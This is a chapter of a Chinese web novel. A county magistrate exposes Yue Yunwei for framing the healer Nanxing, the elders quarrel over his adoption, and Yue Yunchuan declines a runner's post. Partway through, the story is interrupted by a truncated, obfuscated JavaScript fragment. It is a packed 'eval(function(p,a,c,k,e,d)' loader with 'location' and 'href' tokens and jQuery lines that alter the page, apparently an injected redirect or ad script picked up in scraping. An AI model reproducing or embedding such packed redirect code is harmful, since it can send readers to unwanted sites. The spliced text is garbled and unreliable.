19. 第 19 章

县令摸摸下巴上的短胡子,“既然如此,那就把那个叫越云伟的给我传唤过来。”


越云川此时站了出来,“启禀大人,我知道他的下落。”


县令摸着胡子的手一顿,“哦?”


越云川往县衙外看了看,扬声唤道,“二哥,进来吧。”


越二哥扯着一个身材矮小,相貌猥琐的男人进来,那矮小男人几乎是被提着进来的,进来之后就畏畏缩缩的跪在了地上,“我不是故意的!我........”


事情的真相已经大白,无论如何狡辩都没有用了。


张大木与越云伟都被依照刑法处置,各自打了板子,之后关入监牢之中。


一番灾难消弭于无形,反而给越云川他们带来了好处。


越云伟作为罪魁祸首,被关入大牢。


越老四在听闻这件事之后,亲自上门道歉,希望越云川撤销诉状,让越云伟能够回家。


这件事越云川并不在现场,是越山师应对的。


他第一次对这个族弟没了好脸色,厉声呵斥,“老四,你养了这个灾祸出来,难道一点悔改都没有吗?!”


那越云伟在公堂上承认,是因为原本对南星觊觎,但后来却因为越云川平安归家,因此心中不甘不平,这才作出这种陷害的事情来。


越云伟到底还是在公堂上隐藏了自己曾经趁着醉酒想要非礼南星的事情。


南星自然也没有说。


其实这一切的起点都是因为那次酒醉非礼,南星一直想着若是事情暴露就与越云伟鱼死网破,而越云伟在酒醒之后也越想越恐慌。


越云伟知道看上活着的堂兄弟的媳妇是极为不好的事情,他害怕此事暴露,会因此越山师的反扑,他也怕养父会对他彻底失望,甚至赶他出家门,在思索之下竟然直接选择离村而去。


本来越云伟哪怕在遂县也是找不到活计的,在差点灰溜溜回村的时候,他撞上了赌坊的伙计,阴差阳错的加入其中,成了赌坊看场子的伙计。


在赌坊的这段时间,越云伟算是见识了很多,贪婪的人性包括赌坊的隐私手段,时间长了,他非礼南星的事情一直没有任何人知道。


越云伟一想就知道一定是南星为了保住名声,没敢告诉任何人。


他的胆子竟然慢慢的又大了起来,又觉得自己当时因为害怕灰溜溜出村不敢回去的事情实在是很丢面子,他想要找回场子,又盯上了南星,于是经过日夜苦思,想出来了这个法子,还用自己这段时间赚取的薪资买通了陷害南星的人家。


在他的设想之中,南星的罪名一旦落实,越云川家中必然不会继续要她,甚至休妻,而南星在大牢里关上一段时间,也可以磨磨气性,到时候他在让哪户人家撤销诉状,他自然可以抱得美人归了。


这一切在上过公堂之后自然隐瞒不住了。


越山师这时终于同意儿子说的,他根本没保护好恩人之女,他以为是在报恩,但说不定什么时候是在结仇!


越山师对于越老四的请求寸步不让,甚至反过来劝越老四放弃这个糟心儿子,另外在本族过继一个。


越山师黑沉着脸,训斥堂弟,“也不知道你从哪个脏的臭的地方抱来的孩子,养成这幅鬼样子,可见不知道随了他哪个脏臭的父亲!我越家族人祖祖辈辈从未出过这种败类!”


越老四一开始还舍不得这个养了这么多年的儿子,可是被越山师这么一说,他脸色真的灰败下来,开始反思自己当时选择把这个孩子抱回来养是不是真的做错了。


越山师说的没错,这孩子还真是他从脏的地方捡回来的。


越云伟是越老四在城里的窑子里抱回来的,是窑子里妓女和赌鬼生下来的,他见到的时候,那孩子被养的又小又瘦,连哭泣都没有力气,只被扔在一角,那妓女看出他一直看那个男婴,于是请求他收养。


越老四就欢欢喜喜的把孩子抱回来了。


直到养大了才知道,越云伟天生是不成器的,个子不高,长的也不如越家人好看,甚至可以说是仇,那心思更是越养越歪,这么多年来,越老四不是没有打过骂过,可越云伟仍然还是那样,甚至气死了好不容易给他娶的媳妇,他生的两个孩子也是总有些坏心思。


越山师说的这话一下子就戳在了越老四的肺管子上。


越老四唉声叹气一番,脸色灰败,竟然真的不再求情,而是回去了。


越山师也没预料到他说两句话竟然真的把越老四说服了,他还觉得有点空落落的没着落。


县衙的事情宣扬出去了,找南星看病的人竟然多了很多,当然大部分都是女子,南星来者不拒,几乎每日都会出去看病。


越山师送走了越老四,想要跟南星说说话,竟然没看见人。


越云川更是跟没事人一样,第二日就开始照常上课,照常练习文章。


越山师在院子里看一圈,有点怅然若失,转头看见一旁哼哧哼哧背书的周铁柱,眼睛一亮,唤道,“来来来,你背的咋样了?我考考你!”


周铁柱看他一看,磨磨蹭蹭的不愿意过来,“姑父.......”</


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15112233|163904||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>


越山师横眉立目,“还没背下来?”


“背.......背下来了.......”周铁柱吓得不敢说实话,他一个多少年没认过字的人,忽然开始背书,还是背这种高深的医书,哪有那么快就背下来啊。


再说,经历了南星的那件事,周铁柱忽然觉得当草医也没有什么好的,万一,万一他真的给人治死了呢?要怎么办啊?


周铁柱的心思非常浅显,一下子就被越山师看出来了。


越山师这次不立眉头了,他直接抄起棍棒暴打,“臭小子,想什么呢!”


周铁柱委屈护头,“诶呦,姑父,姑父,别打了,我疼啊!”


越山师终于感觉心口闷着的一口气发了出去,拔腿就追,“疼疼疼!你还知道疼!知道疼还背不下来书?!”


周铁柱一个都有三个孩子的男人哭的像是个小孩子一样,“呜呜呜.......”


越山师边打边骂,“立誓为医者,不想着提升能力,反而这般瞻前顾后,你连草药都认不全,还想着给人看病?!”


周铁柱鼻涕眼泪一起流,“呜呜呜......”


而且因为越云川在公堂上的表现,县令对越云川刮目相看,他还特意把越云川叫到县衙后堂,笑着看向越云川,“听闻你是从战场上下来的,功夫怎么样?”


越云川惭愧地抱拳,“功夫一般,未能在边关建功立业,被遣散回乡了。”


县令并不介意,反而兴致勃勃的招呼越云川切磋一番。


第一次越云川在县令跟前留下印象之后,每次放告日之时都会被县令叫去切磋一番,每次切磋都是有输有赢,县令还试图招揽越云川区去他麾下做个衙役,并且承诺了丰厚待遇。


但越云川已经选择了科举之路,做一个吏不是他的志向,越云川委婉拒绝了,但却向县令推荐了另一个人,越二哥。


越二哥也是从战场上下来的,并且从他也能与猛虎战斗的勇猛看来,他的武艺必然不弱。而且他家里的情况,确实很需要这份工,哪怕收入不算太多,可是也算是收入。


县令是真的缺少合适的衙役,想了想那日见到的另外一个壮汉,虽然不如越云川给他留下的印象深,但也确实是个好汉子,于是也同意了,并且说要与越二哥比试一番,试试他的武艺。


临走前,越云川特意跟县令借书,他是以此来说明了自己的志向是考取科举,县令果然借了,并且还鼓励了他。


于是越云川当晚回家后,特意去找了越二哥,为的就是说明此事。